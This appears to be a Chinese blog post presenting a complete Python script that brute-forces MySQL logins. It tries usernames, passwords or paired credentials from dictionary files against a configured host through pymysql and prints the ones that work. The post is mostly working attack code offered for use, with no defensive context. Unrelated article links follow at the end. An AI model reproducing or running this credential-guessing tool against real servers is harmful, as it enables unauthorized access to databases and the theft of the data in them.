python 构造mysql爆破器
前言:
今天已经期末考完,睡了个觉起床写了个
mysql爆破器.
思路:
1.爆破用户->用户存在的话不会报错反之报错
2.爆破密码->密码正确不会报错反之报错
3.用户名和密码一起爆破->用户名和密码正确不会报错反之报错
用到的模块:
optparser
pymysql
configparser
os
代码:
import pymysql
import optparse
import os
import configparser def main():
parser=optparse.OptionParser()
parser.add_option('-u',dest='username',help='MySQL username of blasting')
parser.add_option('-p',dest='password',help='MySQL password of blasting')
parser.add_option('-a',action='store_true',dest='all',help='MySQL all of blasting')
parser.add_option('-U',dest='zhidinusername',help='Configuration parameters for all: specify user dictionary')
parser.add_option('-P',dest='zhidinpassword',help='Configuration parameters for all: specify password dictionary')
(options,args)=parser.parse_args()
if options.username:
file=options.username
usernamepo(file)
elif options.password:
file2=options.password
passwordpo(file2)
elif options.all and options.zhidinusername and options.zhidinpassword:
un=options.zhidinusername
pd=options.zhidinpassword
allpo(un,pd)
else:
parser.print_help()
exit() def usernamepo(file):
cx=open('{}'.format(file),'r')
if os.path.exists('config.ini'):
print('[+]Config.ini ok')
else:
print('[-]Config.ini Not Found')
exit() print('[*]Read the configuration file information')
cf=configparser.ConfigParser()
cf.read('config.ini')
host=cf.get('config','host')
port=cf.get('config','port')
password=cf.get('config','password')
print('[/]-------Config.ini-------')
print('[+]Host:{}'.format(host))
print('[+]Port:{}'.format(port))
print('[+]password{}'.format(password)) print('[/]------User.txt----------')
if os.path.exists(file):
print('[+]User.txt ok')
else:
print('[-]User.txt Not Found') print('[/]------Mysql blasting------')
for k in cx.readlines():
try:
db=pymysql.connect(host,k.strip(),password)
print('[+]Mysql Username in {}'.format(k.strip()))
except Exception as g:
print('[-]Not Username:{},and Error{}'.format(k.strip(),g)) def passwordpo(file2):
cx = open('{}'.format(file2), 'r')
if os.path.exists('config.ini'):
print('[+]Config.ini ok')
else:
print('[-]Config.ini Not Found')
exit() print('[*]Read the configuration file information')
cf = configparser.ConfigParser()
cf.read('config2.ini')
host = cf.get('config', 'host')
port = cf.get('config', 'port')
username = cf.get('config', 'username')
print('[/]-------Config.ini-------')
print('[+]Host:{}'.format(host))
print('[+]Port:{}'.format(port))
print('[+]username{}'.format(username)) print('[/]------passwd.txt----------')
if os.path.exists(file2):
print('[+]Passwd.txt ok')
else:
print('[-]Passwd.txt Not Found') print('[/]------Mysql blasting------')
for k in cx.readlines():
try:
db = pymysql.connect(host, username, k.strip())
print('[+]Mysql Password in {}'.format(k.strip()))
except Exception as g:
print('[-]Not Password:{},and Error{}'.format(k.strip(), g)) def allpo(un,pd):
user=open('{}'.format(un),'r')
passs=open('{}'.format(pd),'r')
usern=[]
passn=[]
if os.path.exists(un):
print('[+]Username.txt is ok')
else:
print('[-]Not Found username.txt') if os.path.exists(pd):
print('[+]Password.txt is ok')
else:
print('[-]Not Found password.txt') if os.path.exists('config3.ini'):
print('[+]Config3.ini ok')
else:
print('[-]Config3.ini Not Found')
exit() cf=configparser.ConfigParser()
print('[/---------cofnig3.ini-------]')
cf.read('config3.ini')
host=cf.get('config','host')
print('[+]host:{}'.format(host)) print('[/]------Mysql blasting------')
for u in user.readlines():
usern.append(u.strip())
for y in passs.readlines():
passn.append(y.strip())
for g in range(0,len(usern)):
try:
dk=pymysql.connect(host,usern[g],passn[g])
print('[+]Username:{} and password:{}'.format(usern[g],passn[g]))
except Exception as p:
print('[-]Not username:{} and password:{} and Error:{}'.format(usern[g],passn[g],p)) if __name__ == '__main__':
main()
-u测试:

-p测试:

-a测试:

实际连接:

python 构造mysql爆破器的更多相关文章
- Python开发【第十一篇】:Python操作MySQL
本篇对于Python操作MySQL主要使用两种方式: 1.原生模块pymsql. 2.ORM框架SQLAchemy. pymsql pymsql是Python中操作MySQL的模块,其使用方法和MyS ...
- Python 12 - Mysql & ORM
本节内容 1.数据库介绍 2.mysql数据库安装使用 3.mysql数据库基础 4.mysql命令 5.事务 6.索引 7.Python操作mysql 8.ORM sqlalchemy了解 数据库介 ...
- Python 3 mysql 数据类型
Python 3 mysql 数据类型 存储引擎决定了表的类型,而表内存放的数据也要有不同的类型,每种数据类型都有自己的宽度,但宽度是可选的 详细参考: http://www.runoob.com/m ...
- Python操作MySQL[转]
本篇对于Python操作MySQL主要使用两种方式: 1.原生模块pymsql. 2.ORM框架SQLAchemy. pymsql pymsql是Python中操作MySQL的模块,其使用方法和MyS ...
- MySQL之Python与Mysql交互
一:Python操作MySQL步骤 1:Python中操作MySQL的步骤 2.引入模块 在.py文件中引入pymysql模块 import pymysql pymysql是python的一个第三方与 ...
- python操作MySQL数据库连接
目录 一:python操作MySQL 1.python如何操作MySQL? 2.什么是 PyMySQL? 二:PyMySQL 安装 1.方法一: 2.方法二: 三:pyMySQL模块基本使用 1.py ...
- 【初学python】使用python连接mysql数据查询结果并显示
因为测试工作经常需要与后台数据库进行数据比较和统计,所以采用python编写连接数据库脚本方便测试,提高工作效率,脚本如下(python连接mysql需要引入第三方库MySQLdb,百度下载安装) # ...
- Python(九) Python 操作 MySQL 之 pysql 与 SQLAchemy
本文针对 Python 操作 MySQL 主要使用的两种方式讲解: 原生模块 pymsql ORM框架 SQLAchemy 本章内容: pymsql 执行 sql 增\删\改\查 语句 pymsql ...
- 使用 python 管理 mysql 开发工具箱 - 1
Mysql 是一个比较优秀的开源的数据库,很多公司都在使用.作为运维人员,经常做着一些重复性的工作,比如创建数据库实例,数据库备份等,完全都可以使用 python 编写一个工具来实现. 一.模块 Co ...
随机推荐
- 单例模式(Singleton-Pattern)百媚生
1 动机 对于系统中的某些类来说,只有一个实例很重要,例如,一个系统中可以存在多个打印任务,但是只能有一个正在工作的任务;一个系统只能有一个窗口管理器或文件系统;一个系统只能有一个计时工具或ID(序号 ...
- 使用ARouter遇到的坑
跨模块跳转不能跳转 需要被跳转的模块或者说使用了ARouter注解的模块都要加上这个 dependencies{ annotationProcessor rootProject.ext.arou ...
- idea 设置编译快捷键(代替 ctrl+f9)
问题描述 今日在设置项目热部署的时候,无奈就是不会自动编译,不知什么原因. 而编译的话,要么去点小按钮 ,要么使用ctrl + f9,实在不便. 且ctrl + f9目测不能更改. 解决办法 借鉴了关 ...
- 在vue中使用scss的配置
1.创建一个基于 webpack 模板的新项目 $ vue init webpack myvue 2.在当前目录下,安装依赖 $ cd myvue$ npm install 3.安装sass的依赖包 ...
- HDU 4122 单调队列
转载自:http://blog.csdn.net/lvshubao1314/article/details/46910271 DES :给出n个订单和m是商店的开放时间.然后n行给出n个订单的信息.然 ...
- 201621123006 《Java程序设计》第13周学习总结
1. 本周学习总结 以你喜欢的方式(思维导图.OneNote或其他)归纳总结多网络相关内容. 2. 为你的系统增加网络功能(购物车.图书馆管理.斗地主等)-分组完成 为了让你的系统可以被多个用户通过网 ...
- ubuntu16 install nginx
1,更新系统 sudo apt-get update 2,安装nginx sudo apt-get install nginx 3,验证是否安装成功 curl 127.0.0.1 常用配置文件和命令 ...
- 如何优化tomcat配置优化
tomcat默认参数是为开发环境制定,而非适合生产环境,尤其是内存和线程的配置,默认都很低,容易成为性能瓶颈. tomcat内存优化 linux修改TOMCAT_HOME/bin/catalina.s ...
- Java第二次作业--数组和String类
Deadline: 2017-3-28 23:00 一.学习要点 认真看书并查阅相关资料,掌握以下内容: 掌握基本数据类型和引用数据类型的区别 理解对象的生成与引用的关系 掌握构造方法的重载 掌握St ...
- ssh命令的使用
ssh命令是用来远程登录服务器的,默认端口号为22. 常用的命令是: ssh 用户名@服务器地址 然后回车,输入登录服务器的密码 登录服务器后要进行上传下载文件,可以用scp命令,命令格式为: s ...